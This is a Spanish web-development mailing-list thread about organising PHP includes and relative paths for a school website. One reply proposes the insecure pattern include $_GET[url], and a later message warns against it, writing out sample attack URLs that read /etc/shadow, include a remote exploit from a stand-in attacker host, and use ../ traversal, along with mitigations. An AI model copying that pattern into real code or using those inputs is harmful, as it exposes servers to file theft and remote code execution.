Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Nuria, lo que te dijeron de usar constantes o variables en php funciona bien. O poner todas las url absolutas (por ejemplo en los css para las imágenes de fondo). Y al final del mail, una pequeña advertencia. On 10/17/06, Pablo Viojo [EMAIL PROTECTED] wrote: Nuria: Una forma de evitar este problema es tener un archivo index.php en la raiz de tu servidor que reciba un parametro url que defina la pagina que quieres servir. Por ejemplo, si quieres mostrar la pagina primero/fiesta.php tendrías que llamarla como /index.php?url=primero/fiesta.php, de ese modo todas las rutas que pongas en el html se computaran a partir de donde tengas el index.php y no desde la página que estes mostrando. El código del index.php debería ser algo como ?php include $_GET[url]; ? CUIDADÍN!!! imaginate esta dirección: http://tu-servidor.com/index.php?url=/etc/shadow o http://tu-servidor.com/index.php?url=http://sitio-de-script-kiddies.com/exploit.php. En el primer caso un atacante malicioso podría acceder a cualquier archivo del servidor (bueno, puntualizando, a cualquier archivo al que el usuario con el que el servidor web se ejecuta tenga acceso) y en el segundo, pueden ejecutar el código php que quieran en tu servidor (por ejemplo, descargar algun programa en /tmp y ejecutarlo (con los mismos permisos que se ejecuta el servidor web)). soluciones: para ambos casos: include(pag_.$_GET['url']..php); (algo como include(./.$_GET['url']); no funcionaria para el segundo caso: http://tu-servidor.com/index.php?url=../../../../../../../../etc/shadow ) sólo para el segundo caso (aunque siempre aconsejable): desactivar fopen_wrappers (o algo así) en php.ini (y reiniciar el servidor web). saludos -- Si no puedes deslumbrar con tu inteligencia, desconcierta con tus gilipolleces ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Si, es cierto, lo importante era la idea nada más. Saludos, Pablo On 10/17/06, carlos campderrós [EMAIL PROTECTED] wrote: CUIDADÍN!!! imaginate esta dirección: http://tu-servidor.com/index.php?url=/etc/shadow o http://tu-servidor.com/index.php?url=http://sitio-de-script-kiddies.com/exploit.php . En el primer caso un atacante malicioso podría acceder a cualquier archivo del servidor (bueno, puntualizando, a cualquier archivo al que el usuario con el que el servidor web se ejecuta tenga acceso) y en el segundo, pueden ejecutar el código php que quieran en tu servidor (por ejemplo, descargar algun programa en /tmp y ejecutarlo (con los mismos permisos que se ejecuta el servidor web)). soluciones: para ambos casos: include(pag_.$_GET['url']..php); (algo como include(./.$_GET['url']); no funcionaria para el segundo caso: http://tu-servidor.com/index.php?url=../../../../../../../../etc/shadow ) sólo para el segundo caso (aunque siempre aconsejable): desactivar fopen_wrappers (o algo así) en php.ini (y reiniciar el servidor web). ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Grácias a todos, estoy tomando nota de todo y en cuanto termine con otro trabajo en el que estoy liada, me pongo a tratar de sacarle el entrecijo a vuestras aportaciones y, si lo consigo :-), a ponerlas en práctica. Núria 2006/10/17, Pablo Viojo [EMAIL PROTECTED]: Si, es cierto, lo importante era la idea nada más. Saludos, Pablo On 10/17/06, carlos campderrós [EMAIL PROTECTED] wrote: CUIDADÍN!!! imaginate esta dirección: http://tu-servidor.com/index.php?url=/etc/shadow o http://tu-servidor.com/index.php?url=http://sitio-de-script-kiddies.com/exploit.php . En el primer caso un atacante malicioso podría acceder a cualquier archivo del servidor (bueno, puntualizando, a cualquier archivo al que el usuario con el que el servidor web se ejecuta tenga acceso) y en el segundo, pueden ejecutar el código php que quieran en tu servidor (por ejemplo, descargar algun programa en /tmp y ejecutarlo (con los mismos permisos que se ejecuta el servidor web)). soluciones: para ambos casos: include(pag_.$_GET['url']..php); (algo como include(./.$_GET['url']); no funcionaria para el segundo caso: http://tu-servidor.com/index.php?url=../../../../../../../../etc/shadow ) sólo para el segundo caso (aunque siempre aconsejable): desactivar fopen_wrappers (o algo así) en php.ini (y reiniciar el servidor web). ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Hola Nuria. Disculpa que haya leido únicamente por encima tu mensaje y me anime a responder tan alegremente, pero ando escaso de tiempo y me gustaría contestarte lo más comprensiblemente posible. Creo que la solución a tu problema pasa por dar uso de la etiqueta base href=... [1] con la que le indicas al navegador que cualquier ruta relativa indicada en un documento HTML la tome en consideración a partir de esta dirección origen, sin importar desde que directorio se llame. Debes usarla entre las etiquetas de apertura y cierre de head por ejemplo, así: ... head base href=http://www.magoria.org/; / ... /head Posteriormente, llamarás a cualquier enlace o elemento tomando como base esta dirección absoluta, independientemente de donde se encuentre en referencia a su llamada. Esto es, si el árbol de directorios es tal que: - raiz (http://www.magoria.org/) - eines - estilos - estilbase.css - docs - trabajos - primero - fiesta.php - actividades - excursion.php - index.php - cabecera.php - links.php SIEMPRE que tengas que llamar a 'estilbase.css' deberás indicar la ruta 'estilos/estilbase.css'. Espero que te sirva de ayuda. [1] http://www.w3.org/TR/html401/struct/links.html#edef-BASE Un saludo, David Merino Ogando On 10/14/06, Núria Ramoneda [EMAIL PROTECTED] wrote: Hola Strip, acabo de probar poniendo la ruta absoluta como me dices, simplemente con la / delante y no encuentran la hoja de estilos, ni el index.php ni el primero/fiesta.php. Yo me equivoqué al poner mis ejemplos, porque en algunos estaba la barra delante y en realidad yo no la tengo puesta en ninguna de las rutas. Todas son relativas. Si le quito la barra / y lo vuelgo a dejar como estaba, index.phpencuentra la hoja de estilos, pero primero/fiesta.php ya no la encuentra. Lo estoy probando en mi servidor apache en local. Quizás necesita algun requisito especial para que funcione? Luego lo pruebo en el servidor remoto, que ahora tengo que salir a comprar. Fins ara Núria 2006/10/14, stripTM [EMAIL PROTECTED]: Perdón pero me equivoque y donde dije rutas relativas quería poner rutas absolutas, si la ruta comienza por / da igual en que punto del árbol de directorios te encuentres tanto index.php como primero/fiesta.php van a tomar correctamente el css si está declarado así: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css -- Saludos -=stripTM=- ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Núria Ramoneda escribió: Cuando el servidor sirva la página pedida por el usuario, se incluirá el contenido de links.php en la página index.php, quedando tal que así: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css que para el indice es lo correcto. Pero ahora llamamos a fiesta.php, y cuando se ejecuta el include éste vuelve a poner lo anterior: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css y en este caso, para fiesta.php, esta ruta ya no es correcta, puesto que deberia ser link href=../../../eines/estils/estilbase.css ... Por tanto, desde fiesta.php no se encontrará la hoja de estilos. Perdón pero me equivoque y donde dije rutas relativas quería poner rutas absolutas, si la ruta comienza por / da igual en que punto del árbol de directorios te encuentres tanto index.php como primero/fiesta.php van a tomar correctamente el css si está declarado así: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css -- Saludos -=stripTM=- ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Hola Strip, acabo de probar poniendo la ruta absoluta como me dices, simplemente con la / delante y no encuentran la hoja de estilos, ni el index.php ni el primero/fiesta.php. Yo me equivoqué al poner mis ejemplos, porque en algunos estaba la barra delante y en realidad yo no la tengo puesta en ninguna de las rutas. Todas son relativas. Si le quito la barra / y lo vuelgo a dejar como estaba, index.php encuentra la hoja de estilos, pero primero/fiesta.php ya no la encuentra. Lo estoy probando en mi servidor apache en local. Quizás necesita algun requisito especial para que funcione? Luego lo pruebo en el servidor remoto, que ahora tengo que salir a comprar. Fins ara Núria 2006/10/14, stripTM [EMAIL PROTECTED]: Perdón pero me equivoque y donde dije rutas relativas quería poner rutas absolutas, si la ruta comienza por / da igual en que punto del árbol de directorios te encuentres tanto index.php como primero/fiesta.php van a tomar correctamente el css si está declarado así: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css -- Saludos -=stripTM=- ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
[Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Disculpad por el off-topic, pero por mucho que busco en google no encuentro una explicación buena al respecto y estoy segura que aquellos que llevais tiempo en ésto y trabajando con grandes sites, tendreis algun link que pueda serme de utilidad o cualquier otra orientación para darme, y os lo agradeceré eternamente. Os cuento. Tengo la web de una escuela. Es una web con bastantes contenidos y una estructura jerárquica de hasta cuatro niveles de profundidad. Voy a cambiarle un poco el diseño y quiero aprovechar para hacerla más accesible y más manejable para su mantenimiento.. Esta vez quiero poner el menu mediante listas y no en js como está ahora, aunque espero encontrar un modo de que se vea bien en los Mac con Safari, Explorer o Firefox. En la escuela los niños y maestros trabajan con pc pero sobretodo con Mac, y hace un año no encontré la manera de que el menú en css se viera bien en los Mac 9. Pero bueno, eso vendrá más adelante. No va por ahí mi pregunta.. El tema es que quiero montar la estructura básica de las páginas mediante includes con php, para olvidarme de las actualizaciones masivas mediante plantilla. Quiero facilitar al máximo que quien el año que viene se haga cargo de la web, tenga el menor trabajo posible de mantenimiento y el que tenga le sea fácil de realizar. Y no me refiero sólo al mantenimiento de los contenidos que van cambiando cada curso (trabajos escolares, fotos, etc), porqué para eso pagamos a una persona que se ocupa de ello y a quien, por supuesto, también me interesa que le sea fácil la actualización. Pero alguna madre, padre o maestro de la escuela va a tener que encargarse de toda la web cuando mi hija acabe sexto. (cómo podeis imaginaros, por estre trabajo no me pagan, es totalmente voluntario ;-) Bueno, a lo que iba. Monto las páginas html con los includes php, tal que así: ?php include (1doctype.php); ? titleTitol pagina/title ?php include (2metalinks.php); ? /head body id=principal ?php include (3caplogo.php); ? ?php include (31caminet.php); ? ?php include (4menu.php); ? div id=bloccontingut div id=contingut pAqui va el contenido/p pnbsp;/p ?php include (5dataupdate.php); ? /div ?php include (6peu.php); ? Bien. El problema está en que dentro de algunos de los fichero php se hace referencia a otros archivos: hojas de estilo, javascripts, classes php, etc. Estos archivos están situados en sus directorios correspondientes, tal que así: link href=eines/estils/estilbase.css rel=Stylesheet type=text/css include_once('eines/scripts/class.breadcrumb.inc.php') Bueno, como os podeis imaginar, el problema empieza cuando la página html está en cualquier otro directorio que no sea el raiz, y entonces hay que indicarle a la referencia los directorios atrás que tiene que subir para encontrar cada archivo: link href=../../eines/estils/estilbase.css rel=Stylesheet type=text/css include_once('../../eines/scripts/class.breadcrumb.inc.php') Estas referencias, mientras utilizas plantillas con dreamweaver y las pones en cada página html, el DW se encarga de actualizarlas. Pero montándolo con los includes de php, ya no se puede. La única forma de solucionarlo que se me ocurre es poner las referencias absolutas directamente al web link href=www.magoria.org/eines/estils/estilbase.css Pero no me parece la mejor solución y mi pregunta es si realmente es la única o hay mejores manera de hacerlo, o quizás incluso un planteamiento distinto que ni se me ha ocurrido. Así pués, cualquier link que explique detalles o metodologia sobre el tema y/o cualquier otra aportación al respecto, será bienvenida. Muchas grácias! Y disculpad por la extensión! Núria ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo
Re: [Ovillo] OT: pregunta sobre organización de fi cheros y directorios y referencias
Hermann Kaser escribió: En principio puedes facilitarte el trabajo usando constantes PHP, asumiendo que tu pagina se encuentra en /var/www/sitio/index.php por ejemplo: define('site_root', '/var/www/sitio'); y luego los includes los haces como include_once(site_root.'/eines/scripts/class.breadcrumb.inc.php') y eso incluiria /var/www/sitio/eines/scripts/class.breadcrumb.inc.php Y para la parte de html lo mas secillo son las rutas relativas (las que empiezan por barra), por ejemplo: link href=/eines/estils/estilbase.css rel=Stylesheet type=text/css -- Saludos -=stripTM=- ___ Lista de distribución Ovillo Para escribir a la lista, envia un correo a Ovillo@lists.ovillo.org Puedes modificar tus datos o desuscribirte en la siguiente dirección: http://lists.ovillo.org/mailman/listinfo/ovillo